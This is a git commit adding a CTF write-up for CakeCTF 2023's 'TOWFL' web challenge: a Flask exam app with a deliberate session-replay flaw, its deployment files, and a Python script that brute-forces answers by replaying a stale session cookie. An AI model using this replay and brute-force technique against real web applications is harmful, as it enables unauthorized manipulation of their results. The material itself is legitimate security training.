Add Cake-ctf-2023 web/TOWFL

This commit is contained in:
sibi361 2023-11-20 19:56:42 +05:30
parent 588459a1ad
commit ab400da1d0
No known key found for this signature in database
GPG key ID: 03C1DEC095FA2598
12 changed files with 2007 additions and 0 deletions

View file

@ -0,0 +1,56 @@
Challenge name: TOWFL
Category: Web
Solves: 171
### Given information
> Do you speak the language of wolves?
> Prove your skill [here](http://towfl.2023.cakectf.com:8888/)!
### Solution
This challenge involves an online test website with a Flask backend. Hundred lorem-ipsum MCQ type questions are generated whose answers are random. The flag is revealed if and only if the player gets all the questions right. P(100 points doing it manually) = 0.25^100. So we can't go manual.
repeatedly get the same set of questions with the same correct answers
```
@app.route("/api/score", methods=['GET'])
def api_score():
if 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
# Calculate score
challs = json.loads(db().get(flask.session['eid']))
score = 0
for chall in challs:
for result in chall['results']:
if result is True:
score += 1
# Is he/she worth giving the flag?
if score == 100:
flag = os.getenv("FLAG")
else:
flag = "Get perfect score for flag"
# Prevent reply attack
flask.session.clear() # SESSION NEVER ACTUALLY GETS DESTROYED if this is used
return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
```
`flask.session.clear()` seems to be preventing a replay attack by invalidating the session cookie but in reality all it's doing is deleting the session cookie at client side. The session forever lives on server side.
Hence even after visiting the `/api/submit` endpoint (where the `flask.session.clear()` method gets called) we can continue to use the (theoretically invalid) session cookie to validate our answers. We would repeatedly get the same set of questions with the same correct answers, thus we will end up getting a perfect score after a worst case scenario of 400 tries.
[solve.py](solve.py)
---
### References
- https://stackoverflow.com/a/21083908
- Flask replay attack prevention: https://stackoverflow.com/a/30851749

View file

@ -0,0 +1,17 @@
version: '3'
services:
challenge:
build: ./service
ports:
- "8888:8080"
links:
- redis
environment:
- UWSGI_INI=/app/uwsgi.ini
- LISTEN_PORT=8080
- FLAG="FakeCTF{*** REDACTED ***}"
restart: unless-stopped
redis:
build: ./redis
restart: unless-stopped

View file

@ -0,0 +1,3 @@
FROM redis:6-alpine
COPY ./redis.conf /redis.conf
CMD ["redis-server", "/redis.conf"]

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,9 @@
FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine
RUN apk update
RUN adduser -D ctf
RUN pip install Flask lorem redis
WORKDIR /app
ADD . .
RUN chown -R root:ctf .

View file

@ -0,0 +1,117 @@
#!/usr/bin/env python3
import flask
import json
import lorem
import os
import random
import redis
REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))
app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
@app.route("/")
def index():
return flask.render_template("index.html")
@app.route("/api/start", methods=['POST'])
def api_start():
if 'eid' in flask.session:
eid = flask.session['eid']
else:
eid = flask.session['eid'] = os.urandom(32).hex()
# Create new challenge set
db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
return {'status': 'ok'}
@app.route("/api/question/<int:qid>", methods=['GET'])
def api_get_question(qid: int):
if qid <= 0 or qid > 10:
return {'status': 'error', 'reason': 'Invalid parameter.'}
elif 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
# Send challenge information without answers
chall = json.loads(db().get(flask.session['eid']))[qid-1]
del chall['answers']
del chall['results']
return {'status': 'ok', 'data': chall}
@app.route("/api/submit", methods=['POST'])
def api_submit():
if 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
try:
answers = flask.request.get_json()
except:
return {'status': 'error', 'reason': 'Invalid request.'}
# Get answers
eid = flask.session['eid']
challs = json.loads(db().get(eid))
if not isinstance(answers, list) \
or len(answers) != len(challs):
return {'status': 'error', 'reason': 'Invalid request.'}
# Check answers
for i in range(len(answers)):
if not isinstance(answers[i], list) \
or len(answers[i]) != len(challs[i]['answers']):
return {'status': 'error', 'reason': 'Invalid request.'}
for j in range(len(answers[i])):
challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]
# Store information with results
db().set(eid, json.dumps(challs))
return {'status': 'ok'}
@app.route("/api/score", methods=['GET'])
def api_score():
if 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
# Calculate score
challs = json.loads(db().get(flask.session['eid']))
score = 0
for chall in challs:
for result in chall['results']:
if result is True:
score += 1
# Is he/she worth giving the flag?
if score == 100:
flag = os.getenv("FLAG")
else:
flag = "Get perfect score for flag"
# Prevent reply attack
flask.session.clear()
return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
def new_challenge():
"""Create new questions for a passage"""
p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))])
qs, ans, res = [], [], []
for _ in range(10):
q = lorem.sentence().replace(".", "?")
op = [lorem.sentence() for _ in range(4)]
qs.append({'question': q, 'options': op})
ans.append(random.randrange(0, 4))
res.append(False)
return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}
def db():
"""Get connection to DB"""
if getattr(flask.g, '_redis', None) is None:
flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
return flask.g._redis
if __name__ == '__main__':
app.run()

Binary file not shown.

After

Width:  |  Height:  |  Size: 73 KiB

View file

@ -0,0 +1,130 @@
let submission;
/* Set every radio button unchecked */
function resetRadioButtons() {
for (let i = 0; i < 10; i++) {
for (let j = 0; j < 4; j++) {
document.getElementById(`exam-ans-${i+1}-${j+1}`).checked = false;
}
}
}
/* Save selections of the current question */
function saveStateLocal(n) {
for (let i = 0; i < 10; i++) {
for (let j = 0; j < 4; j++) {
const l = document.getElementById(`exam-ans-${i+1}-${j+1}`);
if (l.checked === true) {
submission[n-1][i] = j;
break;
}
}
}
}
/* Submit answers and get the score */
async function submitAnswers() {
// Submit answers
let res = await fetch('/api/submit', {
method: 'POST', credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(submission)
});
if (!res.ok) { alert("Server error"); return; }
let json = await res.json();
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
// Get score
res = await fetch('/api/score', {
method: 'GET', credentials: 'include',
});
if (!res.ok) { alert("Server error"); return; }
json = await res.json();
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
// Display score
document.getElementById('exam').hidden = true;
document.getElementById('score-value').innerText = `${json.data.score}`;
document.getElementById('flag').innerText = json.data.flag;
document.getElementById('score').hidden = false;
}
/* Load a set of questions */
async function loadNthQuestion(n) {
// Get questions
let res = await fetch(`/api/question/${n}`, { credentials: 'include' });
if (!res.ok) { alert("Server error"); return; }
let json = await res.json();
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
// Display questions
document.getElementById('exam-passage').innerText = json.data.passage;
for (let i = 0; i < 10; i++) {
document.getElementById(`exam-question-${i+1}`)
.innerText = json.data.questions[i].question;
for (let j = 0; j < 4; j++) {
document.getElementById(`exam-question-${i+1}-${j+1}`)
.innerText = json.data.questions[i].options[j];
document.getElementById(`exam-ans-${i+1}-${j+1}`)
.checked = submission[n-1][i] === j;
}
}
// Create "submit" or "go to next" button
const submit = document.getElementById('submit');
if (n == 10) {
submit.innerText = "Submit";
submit.onclick = () => {
saveStateLocal(n);
submitAnswers();
}
} else {
submit.innerText = "Go To Next";
submit.onclick = () => {
saveStateLocal(n);
document.getElementById(`q${n+1}`).click();
window.scroll({top: 0, behavior: 'smooth'});
}
}
// Show the current link in red
for (let i = 1; i <= 10; i++) {
if (i == n) {
document.getElementById(`q${i}`).children[0].style.color = "red";
} else {
document.getElementById(`q${i}`).children[0].style.color = "blue";
}
}
}
/* Set onclick handlers */
for (let i = 1; i <= 10; i++) {
document.getElementById(`q${i}`).onclick = async () => {
resetRadioButtons();
await loadNthQuestion(i);
}
}
document.getElementById('btn-start').onclick = async () => {
// Start the exam
let res = await fetch('/api/start', {
method: 'POST', credentials: 'include'
});
if (!res.ok) { alert("Server error"); return; }
let json = await res.json();
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
document.getElementById('start').hidden = true;
document.getElementById('exam').hidden = false;
// Reset the state
submission = [];
for (let i = 0; i < 10; i++) {
submission.push([]);
for (let j = 0; j < 10; j++) {
submission[i].push(null);
}
}
// Display the first question
resetRadioButtons();
loadNthQuestion(1);
}

View file

@ -0,0 +1,64 @@
<!DOCTYPE html>
<html>
<head>
<title>TOWFL - Test of Wolf as a Foreign Language</title>
<link rel="stylesheet" href="https://unpkg.com/mvp.css">
<style>
@font-face {
font-family: "WolfLanguage";
src: url("/static/fonts/hymmnos.ttf") format("truetype");
}
.wolflang {
font-family: "WolfLanguage";
font-size: 1.5em;
}
.qlink {
margin-left: 1em;
}
</style>
</head>
<body>
<main>
<section>
<header id="start">
<h1>TOWFL - Test of Wolf as a Foreign Language</h1>
<img src="/static/img/towfl.webp" width="30%"><br>
<button id="btn-start">Start Exam</button>
</header>
</section>
<section id="exam" hidden>
{% for i in range(10) %}
<div class="qlink" id="q{{ i+1 }}"><a href="#">Q{{ i+1 }}</a></div>
{% endfor %}
<hr>
<div>
<p><b>READING PASSAGE</b></p>
<p class="wolflang" id="exam-passage"></p>
<hr>
<p><b>QUESTIONS</b></p>
{% for i in range(10) %}
<form>
<p>Q{{ i+1 }}. <span class="wolflang" id="exam-question-{{ i+1 }}"></span></p>
{% for j in range(4) %}
<div>
<input type="radio" name="exam-ans-{{i+1}}" id="exam-ans-{{i+1}}-{{j+1}}">
<label class="wolflang" for="exam-ans-{{i+1}}-{{j+1}}" id="exam-question-{{i+1}}-{{j+1}}"></label>
</div>
{% endfor %}
</form>
{% endfor %}
</div>
<button id="submit">Go To Next</button>
</section>
<section id="score" hidden>
<header>
<h1>Your Score</h1>
<p><b id="score-value"></b> / 100</p>
<p id="flag"></p>
<a href="/">Go back to home</a>
</header>
</section>
</main>
<script src="/static/js/script.js"></script>
</body>
</html>

View file

@ -0,0 +1,5 @@
[uwsgi]
module = app
callable = app
uid = ctf
gid = ctf

View file

@ -0,0 +1,192 @@
import requests
import json
cookies = {
"session": "<session-cookie>",
}
mcq_solutions_correct = []
previous_score = -1
set_no = -1
q_no = 0
mcq_solutions = [
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
[
None,
None,
None,
None,
None,
None,
None,
None,
None,
None,
],
]
while True:
try:
mcq_solutions[set_no][q_no] += 1
except TypeError:
mcq_solutions[set_no][q_no] = 0
requests.post(
"http://towfl.2023.cakectf.com:8888/api/submit",
cookies=cookies,
json=mcq_solutions,
headers={
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Referer": "http://towfl.2023.cakectf.com:8888/",
"Content-Type": "application/json",
"Origin": "http://towfl.2023.cakectf.com:8888",
"Connection": "keep-alive",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
},
)
response = requests.get(
"http://towfl.2023.cakectf.com:8888/api/score",
cookies=cookies,
headers={
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Referer": "http://towfl.2023.cakectf.com:8888/",
"Connection": "keep-alive",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
},
)
response = json.loads(response.content.decode())["data"]
print(response["score"])
if response["score"] != previous_score:
mcq_solutions_correct = mcq_solutions
previous_score = response["score"]
q_no += 1
if q_no == 10:
q_no = 0
set_no += 1
if previous_score == 100:
print(response["flag"])
break